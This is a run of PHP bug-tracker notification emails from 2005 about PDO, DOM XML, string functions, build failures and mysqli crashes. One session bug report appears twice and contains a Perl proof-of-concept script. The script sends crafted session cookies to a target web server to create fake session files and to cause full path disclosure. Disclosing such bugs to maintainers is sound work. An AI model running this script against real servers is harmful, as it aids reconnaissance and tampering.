Updated by: [EMAIL PROTECTED]
Reported By: hellower at nate dot com
-Status: Open
+Status: Bogus
Bug Type: PDO related
Operating System: windows 2000
PHP Version: 5.1.0
New Comment:
Use $sth-errorInfo() to get the error message if $sth-execute()
fails.
Hint: ROWNUM is a reserved word in Oracle.
No bug here.
Previous Comments:
[2005-11-27 08:42:54] hellower at nate dot com
.
[2005-11-27 08:35:11] hellower at nate dot com
Description:
when I use ROWNUM as bind variable name,
the query result set doesn't appeared.
db: oracle 8.1.7.4
db os: aix 5.3
webserver: apache 2.0.55
webserver os: winows 2000
php : 5.1.0
Reproduce code:
---
?php
$dbh = new PDO(oci:dbname=sslgm166_8174, 'XXX',
'XXX',array(PDO::ATTR_PERSISTENT = true));
echo pre;
$sql = 'select * from tab where rownum :ROWNU';
$sth = $dbh-prepare($sql);
$sth-execute(array(':ROWNU' = 2));
$result = $sth-fetchAll();
print_r($result);
echo hr;
$sql = 'select * from tab where rownum :ROWNUM';
$sth = $dbh-prepare($sql);
$sth-execute(array(':ROWNUM' = 2));
$result = $sth-fetchAll();
print_r($result);
echo /pre;
?
Expected result:
Array
(
[0] = Array
(
[TNAME] = CREDITS
[0] = CREDITS
[TABTYPE] = TABLE
[1] = TABLE
[CLUSTERID] =
[2] =
)
)
-
Array
(
[0] = Array
(
[TNAME] = CREDITS
[0] = CREDITS
[TABTYPE] = TABLE
[1] = TABLE
[CLUSTERID] =
[2] =
)
)
Actual result:
--
Array
(
[0] = Array
(
[TNAME] = CREDITS
[0] = CREDITS
[TABTYPE] = TABLE
[1] = TABLE
[CLUSTERID] =
[2] =
)
)
-
Array --- EMPTY ARRAY !!!
(
)
--
Edit this bug report at http://bugs.php.net/?id=35421edit=1
#35416 [Opn-Fbk]: Error reading XML-File with domxml_open_file
ID: 35416 Updated by: [EMAIL PROTECTED] Reported By: pehewa at a1 dot net -Status: Open +Status: Feedback Bug Type: DOM XML related Operating System: Windows (W2K, XP) PHP Version: 4.4.1 New Comment: What if you try to use absolute path for nav.xml? Previous Comments: [2005-11-27 19:17:05] pehewa at a1 dot net Sorry for making this essential mistake in my first bugreport. The line code should be: $navdoc = domxml_open_file(nav.xml); [2005-11-27 18:46:41] [EMAIL PROTECTED] $navdoc = domxml_open_file(nav_xml); nav_xml looks obviously wrong, as the file is called nav.xml. [2005-11-27 01:37:27] pehewa at a1 dot net Description: System: Windows W2K or XP with Apache 2.0.54 My PHP-program exists for one year minimum without changes and runs at a provider (Version 4.4.1 - not under Windows) without errors. A valid XML-file nav.xml should be read. The error messages are after execution are: Warning: domxml_open_file(): I/O in C:\pathtophpfile on line x Warning: domxml_open_file(): warning in C:\pathtophpfile on line x Warning: domxml_open_file(): failed to load external entity nav.xml in C:\pathtophpfile on line x php.ini changes: precision = 14 output_buffering = 4096 allow_call_time_pass_reference = Off log_errors = On error_log = C:\php_error.log variables_order = GPCS register_argc_argv = Off magic_quotes_gpc = Off extension_dir = ./extensions extension=php_domxml.dll extension=php_xslt.dll dbx.colnames_case = lowercase session.gc_divisor = 1000 session.bug_compat_42 = 0 url_rewriter.tags = a=href,area=href,frame=src,input=src,form=fakeentry Loaded Modules out of the phpinfo(): core mod_win32 mpm_winnt http_core mod_so mod_access mod_actions mod_alias mod_asis mod_auth mod_autoindex mod_cgi mod_dav mod_dir mod_env mod_imap mod_include mod_isapi mod_log_config mod_mime mod_negotiation mod_setenvif mod_userdir mod_dav_svn mod_authz_svn sapi_apache2 Reproduce code: --- $navdoc = domxml_open_file(nav_xml); File nav.xml: ?xml version=1.0 encoding=ISO-8859-1? navigation items item parent=00 change15.10.2005/change /item /items /navigation Expected result: Getting the correct result (XML-Document Object) as on other Systems with PHP 4.4.1 or on Windows-Systems with PHP 4.3.2. -- Edit this bug report at http://bugs.php.net/?id=35416edit=1
#35427 [Opn-Fbk]: str_word_count handles '-' incorrectly
ID: 35427
Updated by: [EMAIL PROTECTED]
Reported By: tomas_matousek at hotmail dot com
-Status: Open
+Status: Feedback
Bug Type: Strings related
Operating System: WinXP
PHP Version: 5.1.0
New Comment:
bar-0var doesn't look like a valid *WORD* to me.
Or is it?
Previous Comments:
[2005-11-27 19:12:17] tomas_matousek at hotmail dot com
Description:
Characters specified in str_word_count() should be treated equally to
letters, right?
This works for apostrophe but doesn't for hyphen.
Reproduce code:
---
var_dump(str_word_count(foo'0 bar-0var, 2, 0));
Expected result:
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar0var
}
Actual result:
--
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar
[10]=
string(4) 0var
}
--
Edit this bug report at http://bugs.php.net/?id=35427edit=1
#35427 [Fbk-Opn]: str_word_count handles '-' incorrectly
ID: 35427
User updated by: tomas_matousek at hotmail dot com
Reported By: tomas_matousek at hotmail dot com
-Status: Feedback
+Status: Open
Bug Type: Strings related
Operating System: WinXP
PHP Version: 5.1.0
New Comment:
By passing 0 as the third parameter, one declares '0' character legal
word character which should be equivalent to any other letter, e.g. 'x'.
bar-xbar is considered to be a word so bar-0bar should be word as
well.
Previous Comments:
[2005-11-27 19:28:44] [EMAIL PROTECTED]
bar-0var doesn't look like a valid *WORD* to me.
Or is it?
[2005-11-27 19:12:17] tomas_matousek at hotmail dot com
Description:
Characters specified in str_word_count() should be treated equally to
letters, right?
This works for apostrophe but doesn't for hyphen.
Reproduce code:
---
var_dump(str_word_count(foo'0 bar-0var, 2, 0));
Expected result:
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar0var
}
Actual result:
--
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar
[10]=
string(4) 0var
}
--
Edit this bug report at http://bugs.php.net/?id=35427edit=1
#35409 [Opn-Fbk]: Several compile problems
ID: 35409 Updated by: [EMAIL PROTECTED] Reported By: sales at vivizi dot com -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: Linux (RH 7.x) PHP Version: 5.1.0 New Comment: And this box is a 64-bit one? Previous Comments: [2005-11-26 21:01:18] sales at vivizi dot com same box, _right now_ [2005-11-26 20:58:13] [EMAIL PROTECTED] You are saying that compiling 5.0.5 works for you: Does that mean that you are able to build it on the same box _right now_ or did it work back when you installed it some time ago? [2005-11-26 18:36:10] sales at vivizi dot com ./configure --prefix=/usr --with-apxs=/usr/sbin/apxs --disable-debug --enable-apc --enable-bcmath --enable-calendar --enable-ctype --enable-exif --enable-fastcgi --enable-filepro --enable-ftp --enable-inline-optimization --enable-magic-quotes --enable-mbstring --enable-mbstr-enc-trans --enable-mbregex --enable-memory-limit --enable-mm=shared --enable-pcntl --enable-safe-mode --enable-shmop --enable-sigchild --enable-sockets --enable-sysvsem --enable-sysvshm --enable-track-vars --enable-trans-sid --enable-versioning --enable-wddx=shared --with-config-file-path=/etc/httpd/raqtweak --with-exec-dir=/usr/bin --with-gettext=/usr --with-iconv --with-libdir=/usr/lib --with-ncurses --with-openssl --with-pgsql=shared --with-readline --with-regex=system --with-tsrm-pthreads --with-zlib-dir=/usr/lib --with-gd --enable-gd-imgstrttf --enable-gd-native-ttf --enable-gd-jis-conv --with-imagick=/usr --with-pspell=/usr --with-db=shared --with-interbase=shared --with-mysql=/usr --with-mssql=shared --with-ldap-dir=/usr --with-imap --with-curl=shared --with-mcrypt=shared --with-mhash=shared --with-freetype-dir=/usr/include/freetype2 --with-png-dir=/usr --with-jpeg-dir=/usr --with-ttf --with-ttf=/usr/lib/libttf.so --with-pdflib --with-libxml --with-libxml2 --with-dom=shared --with-dom-xslt=/usr --with-xsl=shared --with-xsl-sablot=/usr --with-expat-dir=/usr --with-sablot-js=/usr --with-ming=shared [2005-11-26 17:47:48] [EMAIL PROTECTED] Could you please also look up the ./configure line? Otherwise chances are small that people will be able to help you. [2005-11-26 17:25:24] sales at vivizi dot com Whole config line I'd have to look up. But, 5.0.5 works... Or is there a combination in 5.1.0 that does not work? Here is a config.log output of the libjpeg failure: -- configure:33753: checking for GD support configure:33800: checking for the location of libjpeg configure:33827: checking for the location of libpng configure:33880: checking for the location of libXpm configure:33905: checking for FreeType 1.x support configure:33930: checking for FreeType 2 configure:33955: checking for T1lib support configure:33980: checking whether to enable truetype string function in GD configure:34005: checking whether to enable JIS-mapped Japanese font support in GD configure:34059: checking for fabsf configure:34087: /usr/sg/bin/gcc -o conftest -DEAPI -O2 -m486 -fno-strength-reduce conftest.c -lz -lresolv -lm -ldl -lnsl -lxml2 -lz -lm -lxml2 -lz -lm 15 configure:34071: warning: conflicting types for built-in function `fabsf' configure:34059: checking for floorf configure:34087: /usr/sg/bin/gcc -o conftest -DEAPI -O2 -m486 -fno-strength-reduce conftest.c -lz -lresolv -lm -ldl -lnsl -lxml2 -lz -lm -lxml2 -lz -lm 15 -- for openSSL: -- configure:20168: checking for OpenSSL support configure:20214: checking for Kerberos support configure:20905: checking for pkg-config -- The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35409 -- Edit this bug report at http://bugs.php.net/?id=35409edit=1
#35409 [Fbk-Opn]: Several compile problems
ID: 35409 User updated by: sales at vivizi dot com Reported By: sales at vivizi dot com -Status: Feedback +Status: Open Bug Type: Compile Failure Operating System: Linux (RH 7.x) PHP Version: 5.1.0 New Comment: No, this happens to be a 32bit. P3-1.0Ghz, 512MB RAM. Previous Comments: [2005-11-27 20:05:34] [EMAIL PROTECTED] And this box is a 64-bit one? [2005-11-26 21:01:18] sales at vivizi dot com same box, _right now_ [2005-11-26 20:58:13] [EMAIL PROTECTED] You are saying that compiling 5.0.5 works for you: Does that mean that you are able to build it on the same box _right now_ or did it work back when you installed it some time ago? [2005-11-26 18:36:10] sales at vivizi dot com ./configure --prefix=/usr --with-apxs=/usr/sbin/apxs --disable-debug --enable-apc --enable-bcmath --enable-calendar --enable-ctype --enable-exif --enable-fastcgi --enable-filepro --enable-ftp --enable-inline-optimization --enable-magic-quotes --enable-mbstring --enable-mbstr-enc-trans --enable-mbregex --enable-memory-limit --enable-mm=shared --enable-pcntl --enable-safe-mode --enable-shmop --enable-sigchild --enable-sockets --enable-sysvsem --enable-sysvshm --enable-track-vars --enable-trans-sid --enable-versioning --enable-wddx=shared --with-config-file-path=/etc/httpd/raqtweak --with-exec-dir=/usr/bin --with-gettext=/usr --with-iconv --with-libdir=/usr/lib --with-ncurses --with-openssl --with-pgsql=shared --with-readline --with-regex=system --with-tsrm-pthreads --with-zlib-dir=/usr/lib --with-gd --enable-gd-imgstrttf --enable-gd-native-ttf --enable-gd-jis-conv --with-imagick=/usr --with-pspell=/usr --with-db=shared --with-interbase=shared --with-mysql=/usr --with-mssql=shared --with-ldap-dir=/usr --with-imap --with-curl=shared --with-mcrypt=shared --with-mhash=shared --with-freetype-dir=/usr/include/freetype2 --with-png-dir=/usr --with-jpeg-dir=/usr --with-ttf --with-ttf=/usr/lib/libttf.so --with-pdflib --with-libxml --with-libxml2 --with-dom=shared --with-dom-xslt=/usr --with-xsl=shared --with-xsl-sablot=/usr --with-expat-dir=/usr --with-sablot-js=/usr --with-ming=shared [2005-11-26 17:47:48] [EMAIL PROTECTED] Could you please also look up the ./configure line? Otherwise chances are small that people will be able to help you. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35409 -- Edit this bug report at http://bugs.php.net/?id=35409edit=1
#35409 [Opn-Fbk]: Several compile problems
ID: 35409 Updated by: [EMAIL PROTECTED] Reported By: sales at vivizi dot com -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: Linux (RH 7.x) PHP Version: 5.1.0 New Comment: Well, I don't see any changes that can cause it, except for the 64bit support that was added in 5.1. And no, I can't reproduce it. So try to see where ./configure seeks for those files and what makes it to fail. Previous Comments: [2005-11-27 20:09:18] sales at vivizi dot com No, this happens to be a 32bit. P3-1.0Ghz, 512MB RAM. [2005-11-27 20:05:34] [EMAIL PROTECTED] And this box is a 64-bit one? [2005-11-26 21:01:18] sales at vivizi dot com same box, _right now_ [2005-11-26 20:58:13] [EMAIL PROTECTED] You are saying that compiling 5.0.5 works for you: Does that mean that you are able to build it on the same box _right now_ or did it work back when you installed it some time ago? [2005-11-26 18:36:10] sales at vivizi dot com ./configure --prefix=/usr --with-apxs=/usr/sbin/apxs --disable-debug --enable-apc --enable-bcmath --enable-calendar --enable-ctype --enable-exif --enable-fastcgi --enable-filepro --enable-ftp --enable-inline-optimization --enable-magic-quotes --enable-mbstring --enable-mbstr-enc-trans --enable-mbregex --enable-memory-limit --enable-mm=shared --enable-pcntl --enable-safe-mode --enable-shmop --enable-sigchild --enable-sockets --enable-sysvsem --enable-sysvshm --enable-track-vars --enable-trans-sid --enable-versioning --enable-wddx=shared --with-config-file-path=/etc/httpd/raqtweak --with-exec-dir=/usr/bin --with-gettext=/usr --with-iconv --with-libdir=/usr/lib --with-ncurses --with-openssl --with-pgsql=shared --with-readline --with-regex=system --with-tsrm-pthreads --with-zlib-dir=/usr/lib --with-gd --enable-gd-imgstrttf --enable-gd-native-ttf --enable-gd-jis-conv --with-imagick=/usr --with-pspell=/usr --with-db=shared --with-interbase=shared --with-mysql=/usr --with-mssql=shared --with-ldap-dir=/usr --with-imap --with-curl=shared --with-mcrypt=shared --with-mhash=shared --with-freetype-dir=/usr/include/freetype2 --with-png-dir=/usr --with-jpeg-dir=/usr --with-ttf --with-ttf=/usr/lib/libttf.so --with-pdflib --with-libxml --with-libxml2 --with-dom=shared --with-dom-xslt=/usr --with-xsl=shared --with-xsl-sablot=/usr --with-expat-dir=/usr --with-sablot-js=/usr --with-ming=shared The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35409 -- Edit this bug report at http://bugs.php.net/?id=35409edit=1
#35409 [Fbk-Opn]: Several compile problems
ID: 35409 User updated by: sales at vivizi dot com Reported By: sales at vivizi dot com -Status: Feedback +Status: Open Bug Type: Compile Failure Operating System: Linux (RH 7.x) PHP Version: 5.1.0 New Comment: I already tried this. With openSSL it complained about evp.h I reinstall openSSL completely (even upgraded too, also did not work), then evp.h error disappeared. Then I got what you get now (Can not find openSSL files, etc)... Even when I specify all possible paths! Same with libjpeg/png/gd! (--with-jpeg-dir=/usr, etc) Previous Comments: [2005-11-27 20:17:19] [EMAIL PROTECTED] Well, I don't see any changes that can cause it, except for the 64bit support that was added in 5.1. And no, I can't reproduce it. So try to see where ./configure seeks for those files and what makes it to fail. [2005-11-27 20:09:18] sales at vivizi dot com No, this happens to be a 32bit. P3-1.0Ghz, 512MB RAM. [2005-11-27 20:05:34] [EMAIL PROTECTED] And this box is a 64-bit one? [2005-11-26 21:01:18] sales at vivizi dot com same box, _right now_ [2005-11-26 20:58:13] [EMAIL PROTECTED] You are saying that compiling 5.0.5 works for you: Does that mean that you are able to build it on the same box _right now_ or did it work back when you installed it some time ago? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35409 -- Edit this bug report at http://bugs.php.net/?id=35409edit=1
#35428 [NEW]: using mysqli with MySQL 5.0.16 causes Apache crash
From: marcing at smlw dot pl
Operating system: WinXP SP2
PHP version: 5.1.0
PHP Bug Type: MySQLi related
Bug description: using mysqli with MySQL 5.0.16 causes Apache crash
Description:
Env:
Windows XP SP2
Apache 2.0.48 / 2.0.55 (not relevant)
MySQL 5.0.16
PHP 5.0.3 /5.1 (not relevant)
MySQLi
Important: Problem is related to MySQLi when using MySQL version 5 only,
it doesn't occur with version 4.
Reproduce code:
---
?php
$db = new mysqli(...);
if($stmt = $db-prepare('SELECT SUM(visitors) FROM core_stats')) {
$stmt-execute();
$stmt-bind_result($total);
$stmt-close();
}
?
The problem occurs when using SUM() in query, endless loop seems to start
when $stmt-bind_result($total) is invoked and as a result Apache
crashes.
Database reproduction code:
--
CREATE TABLE `core_stats` (
`id` int(10) unsigned NOT NULL auto_increment,
`day_of_week` int(1) unsigned NOT NULL default '0',
`day_of_month` int(2) unsigned NOT NULL default '0',
`m` int(2) unsigned NOT NULL default '0',
`y` int(4) unsigned NOT NULL default '0',
`visitors` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `core_stats` VALUES (1, 2, 5, 7, 2005, 1);
INSERT INTO `core_stats` VALUES (2, 3, 6, 7, 2005, 6);
INSERT INTO `core_stats` VALUES (3, 4, 7, 7, 2005, 7);
INSERT INTO `core_stats` VALUES (4, 5, 8, 7, 2005, 1);
Expected result:
It should work as it worked on MySQL 4.
Actual result:
--
Internal Server Error
--
Edit bug report at http://bugs.php.net/?id=35428edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35428r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35428r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35428r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35428r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35428r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35428r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35428r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35428r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35428r=support
Expected behavior: http://bugs.php.net/fix.php?id=35428r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35428r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35428r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35428r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35428r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35428r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35428r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35428r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35428r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35428r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35428r=mysqlcfg
#35428 [Opn-Fbk]: using mysqli with MySQL 5.0.16 causes Apache crash
ID: 35428
Updated by: [EMAIL PROTECTED]
Reported By: marcing at smlw dot pl
-Status: Open
+Status: Feedback
Bug Type: MySQLi related
Operating System: WinXP SP2
PHP Version: 5.1.0
New Comment:
I can't reproduce it.
Can you try it on an *nix OS ?
Previous Comments:
[2005-11-27 21:12:56] marcing at smlw dot pl
Description:
Env:
Windows XP SP2
Apache 2.0.48 / 2.0.55 (not relevant)
MySQL 5.0.16
PHP 5.0.3 /5.1 (not relevant)
MySQLi
Important: Problem is related to MySQLi when using MySQL version 5
only, it doesn't occur with version 4.
Reproduce code:
---
?php
$db = new mysqli(...);
if($stmt = $db-prepare('SELECT SUM(visitors) FROM core_stats')) {
$stmt-execute();
$stmt-bind_result($total);
$stmt-close();
}
?
The problem occurs when using SUM() in query, endless loop seems to
start when $stmt-bind_result($total) is invoked and as a result Apache
crashes.
Database reproduction code:
--
CREATE TABLE `core_stats` (
`id` int(10) unsigned NOT NULL auto_increment,
`day_of_week` int(1) unsigned NOT NULL default '0',
`day_of_month` int(2) unsigned NOT NULL default '0',
`m` int(2) unsigned NOT NULL default '0',
`y` int(4) unsigned NOT NULL default '0',
`visitors` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `core_stats` VALUES (1, 2, 5, 7, 2005, 1);
INSERT INTO `core_stats` VALUES (2, 3, 6, 7, 2005, 6);
INSERT INTO `core_stats` VALUES (3, 4, 7, 7, 2005, 7);
INSERT INTO `core_stats` VALUES (4, 5, 8, 7, 2005, 1);
Expected result:
It should work as it worked on MySQL 4.
Actual result:
--
Internal Server Error
--
Edit this bug report at http://bugs.php.net/?id=35428edit=1
#35429 [NEW]: problem with sessions..
From: sienicki dot kamil at gmail dot com
Operating system: Linux/Windows (all?)
PHP version: 4.4.1
PHP Bug Type: Unknown/Other Function
Bug description: problem with sessions..
Description:
I write simple exploit to show this vuln.. (i think..)
problem with sessions..
--
#!/usr/bin/perl
#
# PHP vulnerabilities..
#
# Exploit (Proof Of Concept ?) by Kamil 'K3' Sienicki
#
# I found two possibility of use that bug.. (maybe more)
#
# display_errors must be On
#
use IO::Socket;
if(@ARGV 3)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print 1. Create fake session file (sess_fake) in directory (default
/tmp). \n;
print 2. Full path disclosure.\n\n;
print Usage: ./php_bug.pl [host] [address] [type of attack (1 or
2)]\n\n;
exit;
}
$socket = IO::Socket::INET-new( Proto = tcp, PeerAddr = $ARGV[0],
PeerPort = 80 ) || die [-] Connect failed! \r\n;
if($ARGV[2] == 1)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
print Name of fake sess_file: ;
$fake = stdin;
chomp($sess,$fake);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: $sess=$fake\n\n;
print '$fake' fake file was created.. \n;
} elsif ($ARGV[2] == 2)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
chomp($sess);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: [EMAIL PROTECTED];
while ($answer = $socket)
{
if ($answer =~ m/^...Warning/)
{
print $answer.\n;
}
}
}
--
Reproduce code:
---
?
session_start();
?
Expected result:
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /htdocs/sess.php on line 3
Warning: Unknown(): The session id contains invalid characters, valid
characters are only a-z, A-Z and 0-9 in Unknown on line 0
Warning: Unknown(): Failed to write session data (files). Please verify
that the current setting of session.save_path is correct (/tmp) in Unknown
on line 0
Full path disclosure..
--
Edit bug report at http://bugs.php.net/?id=35429edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35429r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35429r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35429r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35429r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35429r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35429r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35429r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35429r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35429r=support
Expected behavior: http://bugs.php.net/fix.php?id=35429r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35429r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35429r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35429r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35429r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35429r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35429r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35429r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35429r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35429r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35429r=mysqlcfg
#35428 [Com]: using mysqli with MySQL 5.0.16 causes Apache crash
ID: 35428
Comment by: dooshek at desmart dot com
Reported By: marcing at smlw dot pl
Status: Feedback
Bug Type: MySQLi related
Operating System: WinXP SP2
PHP Version: 5.1.0
New Comment:
I have the same problem with the same script. My env:
Windows XP SP2
Apache 2.0.55
MySQL 5.0.15
PHP 5.0.5
My Apache hangs during script execution.
Previous Comments:
[2005-11-27 21:20:36] [EMAIL PROTECTED]
I can't reproduce it.
Can you try it on an *nix OS ?
[2005-11-27 21:12:56] marcing at smlw dot pl
Description:
Env:
Windows XP SP2
Apache 2.0.48 / 2.0.55 (not relevant)
MySQL 5.0.16
PHP 5.0.3 /5.1 (not relevant)
MySQLi
Important: Problem is related to MySQLi when using MySQL version 5
only, it doesn't occur with version 4.
Reproduce code:
---
?php
$db = new mysqli(...);
if($stmt = $db-prepare('SELECT SUM(visitors) FROM core_stats')) {
$stmt-execute();
$stmt-bind_result($total);
$stmt-close();
}
?
The problem occurs when using SUM() in query, endless loop seems to
start when $stmt-bind_result($total) is invoked and as a result Apache
crashes.
Database reproduction code:
--
CREATE TABLE `core_stats` (
`id` int(10) unsigned NOT NULL auto_increment,
`day_of_week` int(1) unsigned NOT NULL default '0',
`day_of_month` int(2) unsigned NOT NULL default '0',
`m` int(2) unsigned NOT NULL default '0',
`y` int(4) unsigned NOT NULL default '0',
`visitors` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `core_stats` VALUES (1, 2, 5, 7, 2005, 1);
INSERT INTO `core_stats` VALUES (2, 3, 6, 7, 2005, 6);
INSERT INTO `core_stats` VALUES (3, 4, 7, 7, 2005, 7);
INSERT INTO `core_stats` VALUES (4, 5, 8, 7, 2005, 1);
Expected result:
It should work as it worked on MySQL 4.
Actual result:
--
Internal Server Error
--
Edit this bug report at http://bugs.php.net/?id=35428edit=1
#35430 [NEW]: PDO crashes apache on incorrect FETCH_FUNC use.
From: stochnagara at hotmail dot com Operating system: windows xp PHP version: 5.1.0 PHP Bug Type: PDO related Bug description: PDO crashes apache on incorrect FETCH_FUNC use. Description: When PDO::FETCH_FUNC is used without passing the function name as additional argument, Apache crashes. Reproduce code: --- ? $pdo = new PDO(sqlite::memory:); $pdo-query (CREATE TABLE test (a integer primary key)); $pdo-query (select a from test)-fetchAll(PDO::FETCH_FUNC); Expected result: no error Actual result: -- Apache crashes. -- Edit bug report at http://bugs.php.net/?id=35430edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35430r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=35430r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=35430r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=35430r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=35430r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=35430r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=35430r=needscript Try newer version: http://bugs.php.net/fix.php?id=35430r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=35430r=support Expected behavior: http://bugs.php.net/fix.php?id=35430r=notwrong Not enough info: http://bugs.php.net/fix.php?id=35430r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=35430r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=35430r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35430r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=35430r=dst IIS Stability: http://bugs.php.net/fix.php?id=35430r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=35430r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=35430r=float No Zend Extensions: http://bugs.php.net/fix.php?id=35430r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=35430r=mysqlcfg
#35429 [Opn-Fbk]: problem with sessions..
ID: 35429
Updated by: [EMAIL PROTECTED]
Reported By: sienicki dot kamil at gmail dot com
-Status: Open
+Status: Feedback
Bug Type: Unknown/Other Function
Operating System: Linux/Windows (all?)
PHP Version: 4.4.1
New Comment:
What exactly are you trying to exploit?
Previous Comments:
[2005-11-27 21:22:21] sienicki dot kamil at gmail dot com
Description:
I write simple exploit to show this vuln.. (i think..)
problem with sessions..
--
#!/usr/bin/perl
#
# PHP vulnerabilities..
#
# Exploit (Proof Of Concept ?) by Kamil 'K3' Sienicki
#
# I found two possibility of use that bug.. (maybe more)
#
# display_errors must be On
#
use IO::Socket;
if(@ARGV 3)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print 1. Create fake session file (sess_fake) in directory (default
/tmp). \n;
print 2. Full path disclosure.\n\n;
print Usage: ./php_bug.pl [host] [address] [type of attack (1 or
2)]\n\n;
exit;
}
$socket = IO::Socket::INET-new( Proto = tcp, PeerAddr =
$ARGV[0], PeerPort = 80 ) || die [-] Connect failed! \r\n;
if($ARGV[2] == 1)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
print Name of fake sess_file: ;
$fake = stdin;
chomp($sess,$fake);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: $sess=$fake\n\n;
print '$fake' fake file was created.. \n;
} elsif ($ARGV[2] == 2)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
chomp($sess);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: [EMAIL PROTECTED];
while ($answer = $socket)
{
if ($answer =~ m/^...Warning/)
{
print $answer.\n;
}
}
}
--
Reproduce code:
---
?
session_start();
?
Expected result:
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /htdocs/sess.php on line
3
Warning: Unknown(): The session id contains invalid characters, valid
characters are only a-z, A-Z and 0-9 in Unknown on line 0
Warning: Unknown(): Failed to write session data (files). Please verify
that the current setting of session.save_path is correct (/tmp) in
Unknown on line 0
Full path disclosure..
--
Edit this bug report at http://bugs.php.net/?id=35429edit=1
#35428 [Fbk]: using mysqli with MySQL 5.0.16 causes Apache crash
ID: 35428
Updated by: [EMAIL PROTECTED]
Reported By: marcing at smlw dot pl
Status: Feedback
Bug Type: MySQLi related
Operating System: WinXP SP2
PHP Version: 5.1.0
New Comment:
